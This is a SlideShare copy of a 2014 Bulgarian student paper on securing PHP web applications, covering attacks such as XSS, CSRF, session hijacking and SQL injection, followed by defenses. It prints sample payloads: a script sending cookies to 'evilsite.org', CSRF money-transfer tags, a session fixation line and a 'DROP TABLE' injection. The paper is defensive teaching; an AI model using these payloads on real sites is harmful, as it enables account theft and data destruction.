Ce diaporama a bien été signalé.
Nous utilisons votre profil LinkedIn et vos données d’activité pour vous proposer des publicités personnalisées et pertinentes. Vous pouvez changer vos préférences de publicités à tout moment.
Икономически университет – Варна
Център "Магистърско обучение"
РЕФЕРАТ
по
“Безопасност и защита”
на тема
“Защита при създа...
Защита при създаване на PHP-приложения в Интернет 2014
2 Енис Исмаил, 12109
Съдържание
Съдържание............................
Защита при създаване на PHP-приложения в Интернет 2014
3 Енис Исмаил, 12109
1. Обща информация за езика за
програмиране PH...
Защита при създаване на PHP-приложения в Интернет 2014
4 Енис Исмаил, 12109
2. Нужда от защита на уеб-
приложенията.
Логик...
Защита при създаване на PHP-приложения в Интернет 2014
5 Енис Исмаил, 12109
3.2. Атаки чрез качване на файлове.
Понякога р...
Защита при създаване на PHP-приложения в Интернет 2014
6 Енис Исмаил, 12109
3.4. XSS атаки
XSS (Cross-site scripting) атак...
Защита при създаване на PHP-приложения в Интернет 2014
7 Енис Исмаил, 12109
бъде записвана с цел по-нататъшно използване. ...
Защита при създаване на PHP-приложения в Интернет 2014
8 Енис Исмаил, 12109
3.6. Отĸpaдвaнe нa cecия (session hijacking)
О...
Защита при създаване на PHP-приложения в Интернет 2014
9 Енис Исмаил, 12109
Идентификаторът на сесия може да бъде получен ...
Защита при създаване на PHP-приложения в Интернет 2014
10 Енис Исмаил, 12109
3.7. Фалшификати на заявки (CSRF).
CSRF (Cros...
Защита при създаване на PHP-приложения в Интернет 2014
11 Енис Исмаил, 12109
Вече знаем, че ако някой се е вписал в систем...
Защита при създаване на PHP-приложения в Интернет 2014
12 Енис Исмаил, 12109
3.8. SQL инжектиране.
SQL инжектирането е тех...
Защита при създаване на PHP-приложения в Интернет 2014
13 Енис Исмаил, 12109
Клиентът ще получи успешно информация за студ...
Защита при създаване на PHP-приложения в Интернет 2014
14 Енис Исмаил, 12109
4. Начини за защита от атаки.
4.1. Семантични...
Защита при създаване на PHP-приложения в Интернет 2014
15 Енис Исмаил, 12109
4.3. Грешки при контрола за достъп.
Повечето ...
Защита при създаване на PHP-приложения в Интернет 2014
16 Енис Исмаил, 12109
4.5. Brute-Force атаки и Dictionary атаки.
Пъ...
Защита при създаване на PHP-приложения в Интернет 2014
17 Енис Исмаил, 12109
4.7. Фалшификати на заявки (CSRF).
Най-често ...
Защита при създаване на PHP-приложения в Интернет 2014
18 Енис Исмаил, 12109
4.9. Атаки за отказ на услуга (DDoS атаки).
П...
Защита при създаване на PHP-приложения в Интернет 2014
19 Енис Исмаил, 12109
Източници
 Често срещани уязвимости в web пр...
Prochain SlideShare
Chargement dans…5
×

Защита при създаване на PHP-приложения в Интернет

512 vues

Publié le

Publié dans : Logiciels
  • Soyez le premier à commenter

Защита при създаване на PHP-приложения в Интернет

  1. 1. Икономически университет – Варна Център "Магистърско обучение" РЕФЕРАТ по “Безопасност и защита” на тема “Защита при създаване на PHP-приложения в Интернет” Изготвил: Енис Исмаил спец. “Информатика”, V курс, гр. 61 факултетен номер: 12109 Проверил: доц. д-р Стефан Дражев ас. Радка Начева Варна 2014
  2. 2. Защита при създаване на PHP-приложения в Интернет 2014 2 Енис Исмаил, 12109 Съдържание Съдържание............................................................................................................................................. 2 1. Обща информация за езика за програмиране PHP. ......................................................................... 3 2. Нужда от защита на уеб-приложенията............................................................................................ 4 3. Видове атаки, насочени към PHP уеб-приложенията. .................................................................... 4 3.1. Семантични атаки........................................................................................................................ 4 3.2. Атаки чрез качване на файлове. ................................................................................................. 5 3.3. Грешки при контрола за достъп. ................................................................................................ 5 3.4. XSS атаки...................................................................................................................................... 6 3.5. Brute-Force атаки и Dictionary атаки .......................................................................................... 7 3.6. Отĸpaдвaнe нa cecия (session hijacking) ..................................................................................... 8 3.7. Фалшификати на заявки - Cross-site request forgery (CSRF).................................................. 10 3.8. SQL инжектиране....................................................................................................................... 12 3.9. Атаки за отказ на услуга (DDoS атаки).................................................................................... 13 4. Начини за защита от атаки............................................................................................................... 14 4.1. Семантични атаки...................................................................................................................... 14 4.2. Атаки чрез качване на файлове. ............................................................................................... 14 4.3. Грешки при контрола за достъп. .............................................................................................. 15 4.4. XSS атаки.................................................................................................................................... 15 4.5. Brute-Force атаки и Dictionary атаки. ....................................................................................... 16 4.6. Отĸpaдвaнe нa cecия (session hijacking). .................................................................................. 16 4.7. Фалшификати на заявки - Cross-site request forgery (CSRF).................................................. 17 4.8. SQL инжектиране....................................................................................................................... 17 4.9. Атаки за отказ на услуга (DDoS атаки).................................................................................... 18 5. Изводи................................................................................................................................................ 18 Източници.............................................................................................................................................. 19
  3. 3. Защита при създаване на PHP-приложения в Интернет 2014 3 Енис Исмаил, 12109 1. Обща информация за езика за програмиране PHP. PHP (рекурсивно съкращение от PHP: Hypertext Preprocessor) е широко използван скриптов език с отворен код, предназначен за обща употреба, който е изключително удобен за уеб разработки и може да се вгражда в HTML. PHP може да се използва на всички по-известни операционни системи, в това число Линукс, много Юникс варианти (включително HP-UX, Solaris и OpenBSD), Microsoft Windows, Mac OS X, RISC OS, а вероятно и други. Също така PHP поддържа по-голяма част от съвременните уеб сървъри. Това включва Apache, Microsoft Internet Information Server, Personal Web Server, сървърите Netscape и iPlanet, Oreilly Website Pro server, Caudium, Xitami, OmniHTTPd, и много други. За по-голяма част от сървърите PHP разполага с модули, а за другите поддържайки CGI стандарта, PHP може да работи като CGI процесор. Предимства на езика:  PHP работи на множество операционни системи (Unix, Linux, Windows, BSD, Mac OS X) и множество уеб сървъри – Apache, lighttpd, IIS  PHP е лесен за разработване  PHP е безплатен и се разпространява под лиценза на BSD  PHP може да бъде лесно модифициран и адаптиран към нуждите на прилагащата го организация  PHP не изисква особени умения от разработчици работили на структурни езици — езикът е с прост и интуитивен синтаксис за такива разработчици  PHP е широко разпространен поради простотата си. Има много програмисти, което води до по-евтино платен персонал във фирмите, по ниска цена на приложенията за клиентите и още по-голяма използваемост. Поддръжката за PHP разработчици е гарантирана от множеството форуми и приложения на общността.  По аналогия с Perl към стандартните класове на PHP могат да бъдат писани и много допълнителни модули PHP поддрържа следните системи за управление на бази от данни: IBM DB2 - formix — Ingres, MS SQL, mSQL, MySQL, Oracle, PostgreSQL, Sybase.
  4. 4. Защита при създаване на PHP-приложения в Интернет 2014 4 Енис Исмаил, 12109 2. Нужда от защита на уеб- приложенията. Логиката на съвременния бизнес е тясно свързана с обработката на конфиденциална информация, в това число и такава, която е достъпна чрез Интернет. Потенциален достъп до тайните на компанията може да се получи даже през обикновен браузър. От уеб-приложенията се изисква да съответстват на стандартите за безопасност (PCI DSS, NIST и др.), международните критерии (ISO/IEC 27005:2008, ITIL, COBIT и др.) и законодателните норми и става ясна необходимостта от провеждане на редовен анализ на защитеността. Въпреки всички направени анализи често се случва, уеб-приложението да е уязвимо към определен вид атаки. В настоящият реферат ще бъдат описани най-често срещаните атаки към уеб-приложенията. 3. Видове атаки, насочени към PHP уеб- приложенията. 3.1. Семантични атаки. Любопитството увеличава мотивацията при много атаки и семантичните атаки са един от най-добрите примери за това. Те представляват модифициране на URL с цел получаване на данни, до които потребителят не би трябвало да има достъп. Например, ако на потребителят е изпратен линк www.domain.com/view_invoice.php?id=1000523, то той вижда, че неговата фактура е с уникалн номер 1000523 и може да се предположи, че той ще опита да достъпи чужди фактури, заменяйки своя уникален номер с други произволни номера (например 1000242) в същата връзка (URL). Този тип атаки се използват предимно при предаване на параметри чрез GET метода, но модификации са възможни и през POST метода.
  5. 5. Защита при създаване на PHP-приложения в Интернет 2014 5 Енис Исмаил, 12109 3.2. Атаки чрез качване на файлове. Понякога разработчиците искат да дадат възможност за качване на файлове в допълнение към стандартните форми за работа с данни. Понеже файловете не се изпращат по същият начин, както данните от формите, има нужда от конкретен вид кодиране - multipart/form-data: <form action="upload.php" method="POST" enctype="multipart/form-data"> По този начин потребителят може и да качва файлове на сървъра. Най-често се качват документи, картинки, видео. Но ако получените данни не се валидират правилно, атака може да бъде осъществена чрез качване на PHP файл. Така потребителят може да пусне за изпълнение свой собствен PHP скрипт като просто качи файла на сървъра и после го стартира чрез съответното URL. Съвсем скоро такава „дупка” в сигурността имаше в една от популярните теми за WordPress. 3.3. Грешки при контрола за достъп. Грешки при контрола за достъп могат да доведат до сериозни проблеми за уеб-приложението. Изразяват се най-често с грешно зададени привилегии за определени папки или файлове. Ако привилегиите са зададени грешно, потребителят може да изпълни скриптове или да прочита информацията, записана в някои важни за системата файлове. Възможно е повторно пускане на install скриптове, прочитане на конфигурационни файлове и т.н. Например в системата Magento информацията за достъп до базата от данни е записана във файла local.xml, който се намира в папка /app/etc. Ако този файл е публично достъпен, то всеки би могъл да види потребителското име и паролата за базата от данни, която се използва: <resources> <db> <table_prefix><![CDATA[ms]]></table_prefix> </db> <default_setup> <connection> <host><![CDATA[localhost]]></host> <username><![CDATA[shop_production]]></username> <password><![CDATA[g8a6qdGD]]></password> <dbname><![CDATA[magento_store]]></dbname> </connection> </default_setup> </resources>
  6. 6. Защита при създаване на PHP-приложения в Интернет 2014 6 Енис Исмаил, 12109 3.4. XSS атаки XSS (Cross-site scripting) атаките са едни от най-познатите видове атаки. Способни са да поразят уеб-приложения от всички платформи, и PHP уеб- приложенията със сигурност не са изключение. Всяко приложение, което приема входни данни от потребителите си е под риск – уеб-базирани имейл приложения, форуми, книги за гости, блогове. Ако тези входящи данни не са филтрирани подходящо, уязвимостта към XSS атаки съществува. Нека вземем за пример уеб- приложение, в което могат да се пишат потребителски коментари. Най-често се въвежда име или псевдоним на автора и самият коментар. Но какво би станало, ако в полето за коментар бъде записан следният код: <script> document.location = 'http://evilsite.org/steal.php?cookies=' + document.cookie </script> Ако този „коментар” бъде успешно записан и след това визуализиран на съответната страница, това би означавало, че без да искаме сме „позволили” да вмъкнат зловреден JavaScript код в приложението. Всички потребители, които посетят страницата ще изпращат информацията, записана в техните бисквитки (cookies) към чужд сайт (в случая evilsite.org), където тази информация може да
  7. 7. Защита при създаване на PHP-приложения в Интернет 2014 7 Енис Исмаил, 12109 бъде записвана с цел по-нататъшно използване. Това е често срещана грешка, разпространила се от лоши навици в разработването на уеб-приложения, за жалост превърнали се в обща практика. 3.5. Brute-Force атаки и Dictionary атаки Brute-force е атака, при която атакуващият изпраща множество заявки към сървъра с различни комбинации от име и парола, с цел да „налучка“ някоя правилна комбинация. Най-често на атака са изложени потребителски имена като „admin“, „administrator“, „root“ и т.н. По този начин атакуващият се опитва да получи достъп до даден защитен ресурс, без да използва пробив в сигурността. Brute-force атаките се използват за намиране на сравнително къси и прости по сложност пароли. За по-сложни пароли, включващи думи с определено значение и т.н., се използват Dictionary атаките. Принципът е подобен на brute- force атаките, но за целта се използват речници с често използвани пароли, думи и др.
  8. 8. Защита при създаване на PHP-приложения в Интернет 2014 8 Енис Исмаил, 12109 3.6. Отĸpaдвaнe нa cecия (session hijacking) Открадването на сесия е вид атака, чрез която хакерът използва валидна сесия и чрез нея получава достъп до сесията на друг потребител. Когато някой се впише в уеб-приложението се създава файл (наричан сесия) на сървъра за съответния потребител, която съдържа определена информация с цел избягването на многократно вписване в системата при всяка нова заявка. Сървърът използва уникален идентификатор за сесията, чрез който се разпознава коя сесия на кой потребител принадлежи. След получаване на достъп до идентификатор на сесията на клиента, хакерът го инжектира в своя браузър и по този начин излъгва сървъра, че той всъщност е другият клиент (жертвата).
  9. 9. Защита при създаване на PHP-приложения в Интернет 2014 9 Енис Исмаил, 12109 Идентификаторът на сесия може да бъде получен по няколко начина: a) Чрез предсказване. Това е възможно, ако уеб-приложението използва поредни числа вместо произволни низове за идентификатор. b) Чрез “подслушване” на комуникационния канал. Идентификаторът бива прехвърлян многократно между сървъра и потребителя. Чрез подслушване на комуникационния канал хакера може да прихване изпращаните пакети и да научи идентификатора. Най-често това става възможно, ако хакерът е в същата локална мрежа, където е клиента или ако хакерът по някакъв начин има достъп до данните, разменяни между клиента и сървъра. c) Чрез фиксиране на идентификатора на сесията. Хакерът изпраща на жертвата линк, в който е указан валиден идентификатор, създаден по-рано от самият хакер. По този начин жертвата се вписва с този идентификатор, който всъщност се знае от хакера, например www.website.com/login.php?PHPSESSID=1234 Друг начин за фиксиране на сесия е чрез промяна стойността на идентификатора в бисквитката, където той се съхранява в браузъра на жертвата. Това е възможно чрез някакъв зловреден JavaScript код, например document.cookie=”PHPSESSID=1234”.
  10. 10. Защита при създаване на PHP-приложения в Интернет 2014 10 Енис Исмаил, 12109 3.7. Фалшификати на заявки (CSRF). CSRF (Cross-site request forgery) е вид атака, чрез която клиентът без да знае изпраща заявки към друг сайт. Ако той е вписан в системата, то заявката ще бъде изпълнена, тъй като тя би изглеждала напълно валидна. С този вид атаки се цели основно смяна на имейл, на домашен адрес, на парола, закупуване на определен продукт, изпращане на пари или бонус точки. Пример: Иван иска да да изпрати $100 на Петър чрез уеб-приложението на своята банка. Ако уеб-приложението на банката не е подсигурено добре, заявката може да изглежда по следният начин: http://bank.com/transfer.do?acct=PETARPETROV&amount=100
  11. 11. Защита при създаване на PHP-приложения в Интернет 2014 11 Енис Исмаил, 12109 Вече знаем, че ако някой се е вписал в системата на банката, то той може да изпрати пари на някой като директно изпрати подобна заявка към сървъра. Целта на хакера в случая ще е някак да вмъкне линк с тази заявка в една от страниците на уеб-приложението. Най-често за целта се използва HTML елементи като anchor, img, iframe или script, а самото вмъкване на елемента става чрез XSS атака. Нека предположим, че хакерът е успял някак да вмъкне следният код в страницата на уеб-приложението: <a href="http://bank.com/transfer.do?acct=HACKER&amount=1000">Виж тази картинка!</a> или <img src="http://bank.com/transfer.do?acct=HACKER&amount=1000" width="1" height="1" border="0"> Ако клиентът, който достъпва страница с такъв код е вписан в уеб- приложението на банката, то той с всяко посещаване на заразената страница ще изпраща съответната заявка и ще прави парични трансфери към сметката, която е указана във връзката (в случая HACKER).
  12. 12. Защита при създаване на PHP-приложения в Интернет 2014 12 Енис Исмаил, 12109 3.8. SQL инжектиране. SQL инжектирането е техника за атакуване на приложения, използващи SQL бази от данни, чрез вмъкване на злонамерени SQL команди в заявките, генерирани от приложението. Най-често SQL инжектирането се използва за постигане на следните неща:  Прочитане на данни  Промяна на данни (запис, модифициране, изтриване)  Изпълняване на администраторски операции на базата от данни, например спиране (shutdown) на цялата БД. Пример: В уеб-приложението има възможност за търсене на студенти по факултетен номер. Заявката е следната: $query = “SELECT * FROM students WHERE fnum = '$query'”; Очаква се клиентът да въведе някакъв факултетен номер за търсене, например 086012. В такъв случай заявката, която ще бъде изпълнена ще бъде: SELECT * FROM students WHERE fnum = 086012
  13. 13. Защита при създаване на PHP-приложения в Интернет 2014 13 Енис Исмаил, 12109 Клиентът ще получи успешно информация за студента с този факултетен номер. Но нека предположим, че в полето за въвеждане на факултетен номер е въведен низ като “1; DROP TABLE students”. В такъв случай заявката, която ще бъде изпълнена ще е: SELECT * FROM students WHERE fnum = 1; DROP TABLE students; При изпълняване на тази заявка цялата таблица students ще бъде изтрита. 3.9. Атаки за отказ на услуга (DDoS атаки). Атака за отказ на услуга е опит даден ресурс, предоставян от компютър (наричан жертва), да бъде направен недостъпен за целевите му потребители. Обикновено жертви на такива атаки стават популярни уеб сървъри, като целта е те да станат недостъпни от Интернет. DDoS атаките биват два основни вида:  Принуждаване на жертвата да се рестартира или да потреби всичките си ресурси, така че вече да не може да предоставя целевата услуга;  Възпрепятстване на комуникацията между жертвата и целевите потребители на услугата, така че те вече да не могат да я достъпват адекватно.
  14. 14. Защита при създаване на PHP-приложения в Интернет 2014 14 Енис Исмаил, 12109 4. Начини за защита от атаки. 4.1. Семантични атаки. Единственият начин за предотвратяване на такъв тип атаки са допълнителните проверки за това дали потребителят има право да получи (или запише) съответната информация. Друг вариант е използването на достатъчно дълги и трудни за отгатване идентификационни низове, но този метод е подходящ само за някои видове заявки. Той може да се използва при показване на данни, които се извличат чрез уникален номер, но не могат да се използват например при изпращане на имейл адрес или потребителско име с цел получаване на забравена парола. 4.2. Атаки чрез качване на файлове. Един от най-добрите начини за предпазване от този тип атаки е да бъдат позволени за качване само файлове с определени разширения като jpg, jpeg, gif, png, pdf, doc, docx и т.н. Също така може да се ограничи и размера на качваните файлове като това става чрез конфигурационната директива upload_max_filesize. Когато се качва даден файл, то той първоначално се запазва на временно място на сървъра. Преди да се запази окончателно на файловата система на сървъра, може да бъде проверявано дали има съответствие между временния файл и получената за файла информация, например: $filename = $_FILES['attachment']['tmp_name']; if (is_uploaded_file($filename)) { /* $_FILES['attachment']['tmp_name'] е каченият файл */ }
  15. 15. Защита при създаване на PHP-приложения в Интернет 2014 15 Енис Исмаил, 12109 4.3. Грешки при контрола за достъп. Повечето от популярните системи имат инструкции за инсталация, в които са указани и съответните настройки за сървъра. Подробно е описано кои файлове или папки трябва да бъдат изтрити след успешна инсталация, кои папки трябва да са публични и кои не и т.н. Но ако приложението се разработва от начало, то самите разработчици трябва добре да помислят, когато настройват привилегиите за отделните папки и файлове. Също така за конкретни папки, файлове или всички файлове с дадено разширение може да бъде използван .htaccess файл и достъпът да бъде забранен. Например: Order deny,allow Deny from all Командата Deny from all ще забрани публичният достъп до всички файлове в папката, където се намира .htaccess файлът. Тази забрана ще важи и за всички файлове в подпапките, освен ако и там няма друг .htaccess файл, чрез който да се премахне забраната от по-горно ниво. 4.4. XSS атаки. XSS атаките могат да доведат до големи проблеми, но за щастие са лесни за предотвратяване. Единственото, което трябва да се направи е получените данни да се филтрират подходящо преди записването им в базата от данни. Най-малкото нещо, което може да се направи, е да се ползват вградените в PHP функции като htmlentities и htmlspecialchars за екраниране, тоест замяна на специалните символи като <, >, & с HTML единици - &lt;, &gt;, &amp;. Ако разгледаме конкретният пример, даден в точка 3.4., то можем да зададем бисквитките да не могат да се използват чрез JavaScript код чрез флага HttpOnly. Това може да стане във файла php.ini: session.cookie_httponly = True или чрез задаване на положителна стойност на последния параметър на метода setcookie() в PHP скрипта.
  16. 16. Защита при създаване на PHP-приложения в Интернет 2014 16 Енис Исмаил, 12109 4.5. Brute-Force атаки и Dictionary атаки. Първото и основно правило за защита срещу този тип атаки е да се използват колкото се може по-сложни пароли. Обикновено тези атаки изпробват набор от речникови думи, имена и цифри. Независимо колко стриктна и добра политика използваме за паролите, не бихме искали да позволим някой да изпробва стотици комбинации от имена и пароли върху системата. Най-малкото не сме сигурни дали някой от потребителите не използва лесна за разгадаване парола. За целта най-често се използва Captcha и лимитиране на броя заявки от даден IP адрес за определен период от време, след което този IP адрес се блокира за определен период от време. Възможно е също достъпа до някои акаунти да се фиксира по IP адрес, но това е приемливо само за администраторските акаунти. Няма как да спрем напълно този тип атаки, но чрез гореспоменатите решения можем достатъчно да ограничим заявките, изпращани към сървъра. 4.6. Отĸpaдвaнe нa cecия (session hijacking). Има няколко начина за предотвратяване на този тип атака:  Използване на криптирана връзка между клиента и сървъра чрез SSL (Secure Socket Layer);  Подновяване на идентификатора на сесията по-често. По този начин дори и да бъде откраднат идентификатора на сесията, той ще бъде непотребен след определен период от време;  Сравняване на IP адреса или User Agent информацията на клиента;  Използване на HttpOnly бисквитки. По този начин може да бъде предотвратено фиксирането на чужд идентификатор чрез зловреден код, но все още е възможно идентификатора да бъде научен чрез подслушване на канала за комуникация.
  17. 17. Защита при създаване на PHP-приложения в Интернет 2014 17 Енис Исмаил, 12109 4.7. Фалшификати на заявки (CSRF). Най-често срещаният начин за предотвратяване на този вид атаки е използване на уникални ключове (token), които се намират във формата и по- късно се сравняват със съответния ключ на сървъра. При директно изпращане на заявка не чрез форма, а чрез директно URL, този уникален ключ ще липсва и заявката няма да бъде изпълнена. Също така, когато става на въпрос за уеб-приложения, при които са възможни покупки, трансфер на пари и други, е добре клиентът да бива принуден да въведе парола наново. Повторно въвеждане на парола може да бъде заменено и с Captcha. По този начин със сигурност се знае, че клиентът активно участва в съответната операция. Пример за уеб-приложения, използващи този подход са повечето банкови системи за е-банкиране, Amazon, Ebay и др. 4.8. SQL инжектиране. Има множество начини за предотвратяване на SQL инжектиране, като най- удачно е да бъде използвана комбинация от тях. Най-познатите са:  Използване на параметрични заявки, където структурата на заявката е отделена от подаваните параметри. За целта се използва PDO разширението.  Използване на процедури, като параметрите се подават отделно.  Екранизиране на всички входни данни, използвани в заявките.  Валидиране на данните, преди да бъдат използвани в заявките.  Ограничаване на привилегиите за използване на БД за всеки акаунт.
  18. 18. Защита при създаване на PHP-приложения в Интернет 2014 18 Енис Исмаил, 12109 4.9. Атаки за отказ на услуга (DDoS атаки). Предотвратяването на DDoS атаки е сравнително трудна задача и може да струва скъпо. Като цяло няма техники, които със сигурност да успеят да спрат този тип атаки, но се използват някои методи, които помагат в голяма степен. Най-лесният начин за предотвратяване на DDoS атаките е наличието на достатъчно сървърни ресурси. По този начин уеб-приложението няма да бъде „блокирано” от множеството заявки. Но проблемът е, че не винаги можем да заделим достатъчно ресурси, а и тяхното наемане би струвало прекалено скъпо. Осигуряването на допълнителни ресурси може да помогне при по-нискомащабни DDoS атаки. Друг начин за предпазване от този тип атаки е използването на хардуерни защитни стени, които да филтрират трафика, още преди да е стигнал до сървъра. 5. Изводи. Основният извод, до който можем да стигнем чрез този реферат, е че не съществуват ясни и точни методи за предотвратяване на всички видове атаки към уеб-приложенията. Всяко едно уеб-приложение може да бъде уязвимо във всеки един момент и задачата на разработчиците е постоянно да надграждат техниките за защита на приложенията, които разработват, тъй като с всеки изминал ден на бял свят се появяват нови или подобрени версии на старите атаки. Въпреки че в настоящият реферат са упоменати едни от най-често срещаните видове атаки, съществуват още много други известни и не дотолкова известни такива. При допълнителен интерес към темата, могат да бъдат прочетени и предишни разработки на студенти от Икономически университет - Варна. Антон Шумански: http://www.slideshare.net/antonshumanski/php-18364826 Валентин Атанасов: http://www.slideshare.net/ssuser5fc05e/fn10882
  19. 19. Защита при създаване на PHP-приложения в Интернет 2014 19 Енис Исмаил, 12109 Източници  Често срещани уязвимости в web приложенията, Георги Чорбаджийски  Как да защитим уеб приложенията: предотвратяване на атаки и пробойни  Semantic URL Attack  Essential PHP Security, Chris Shiflett  OWASP Top Ten Project 2013  Защита от brute force атаки, Филип Петров, 2008  Session Hijacking, Joshua Kissoon, 2011  SQL Injection In-Depth: Attacks and Prevention Methods, Joshua Kissoon, 2013  Cross-Site Request Forgery (CSRF), OWASP, 2013)  Атака за отказ на услуга, Уикипедия

×